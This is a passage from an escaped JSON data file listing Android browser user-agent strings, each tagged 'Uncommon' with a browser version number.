Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-gb; GT-I8150 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-in; Micromax A115 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-ca; A200 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; HUAWEI U8681 Build\\/HuaweiU8681) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-au; GT-I9000 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; RCT6077W2 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.0; en-us; Xoom Build\\/HRI39) AppleWebKit\\/525.10+ (KHTML, like Gecko) Version\\/3.0.4 Mobile Safari\\/523.12.2\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; da-dk; GT-I9100 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; pt-br; GT-S6313T Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; ASUS Transformer Pad TF300T Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-ca; GT-S5660M Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SCH-I545 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; it-it; GT-P3100 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; nl-be; GT-P5110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-in; Micromax A116 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I415 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-ca; SGH-T989D Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; de-de; GT-I9300 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; es-mx; LG-E612f Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; fr-ca; GT-P5113 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; es-us; GT-I9100 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-au; GT-N8020 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.2; en-us; SCH-M828C[4259054503] Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; BLU DASH 5.0 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; MID9742 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; MB860 Build\\/4.5.141) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9100 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; es-us; N861 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; fi-fi; GT-I9305 Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; es-es; GT-P1010 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-ca; GT-S5830D Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 7.0; SM-G920V Build\\/NRD90M)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SPH-D710 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; de-DE; HUAWEI Y530-U00 Build\\/HuaweiY530-U00) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 5.0.1; Lenovo TB3-710F Build\\/LRX21M)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.1; en-us; HUAWEI G610-U00 Build\\/HuaweiG610-U00) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; fr-fr; GT-N7000 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-gb; SM-T210R Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R530U Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; it-it; HUAWEI Y330-U01 Build\\/HuaweiY330-U01) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; LT7035-J Build\\/MID713) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-in; Micromax A62 Build\\/MocorDroid2.3.5) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.2.2; SM-T310 Build\\/JDQ39)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-gb; SM-G350E Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; TECNO P5 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I547 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; fr-fr; GT-S6102 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-gb; ALCATEL ONE TOUCH 4010X Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; TECNO S9 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-mx; LG-E400f Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1 MMS\\/LG-Android-MMS-V1.2\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; ru-ru; GT-P3100 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC_PN071 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.1-update1; en-gb; SonyEricssonU20i Build\\/2.1.1.A.0.6) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; GT-P6800 Build\\/JZO54K; CyanogenMod-10) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; nl-nl; SM-T110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-au; WL-101GQC Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; en-us; SM-T217T Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; GT-S5360L Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3.1; en-us; Android SDK built for x86 Build\\/JB_MR2) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.1; en-gb; GT-P7500 Build\\/HMJ37) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-; AX107 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; pt-br; LG-E612f Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; es-us; LG-P769 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; SAMSUNG-SGH-I747 Build\\/JRO03L) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-au; GT-P7500 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I200 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; fr-fr; Transformer TF101 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; ro-ro; GT-S5830i Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-gb; GT-N8000 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; es-es; GT-I9300 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; fi-fi; GT-P3110 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; QMV7A Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-au; U8815 Build\\/HuaweiU8815C346B801) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; en-au; HTC_A3335 V2.38.841.7 Build\\/FRG83D) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Micromax A77 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; ar-ae; GT-S7562 Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; GT-I9100 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S5570 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; en-us; HTC-A9192\\/1.0 Build\\/FRG83D) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-L710 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.1; en-us; IdeaTab S6000-F Build\\/JOP40D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9305 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-us; GT-S6802B Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; tr-tr; GT-I8200Q Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; pt-br; GT-S5302B Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; he-il; GT-I8190N Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; SM-T111 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; HTC6435LVW Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; id-id; GT-S5312 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; ADR910L 4G Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; hu-hu; MediaPad T1 8.0 Build\\/HuaweiMediaPad) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; SAMSUNG-SGH-I727 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; M886 Build\\/HuaweiM886) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; Z795G Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.1 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; en-gb; GT-I9305 Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; rk30sdk Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-ca; LG-E971 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; zh-cn; HW-HUAWEI_G730-C00\\/G730-C00V100R001C92B154; 540*960; CTC\\/2.0) AppleWebKit\\/534.30 (KHTML, like Gecko) Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.4.2; SM-T210 Build\\/KOT49H)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SGH-T959V Build\\/RemICS-UX; CyanogenMod-9) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.1; es-es; bq Aquaris 5 HD Build\\/JOP40D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; el-gr; GT-P3110 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-gb; GEM10313BK Build\\/JRO03H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; HTC Glacier Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-gb; GT-I9000 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; zh-hk; GT-N7100 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; ZTE-Z990 Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; T-Mobile myTouch 3G Slide Build\\/GRI40) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; pt-br; GT-S5360B Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; LG-P999 Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile 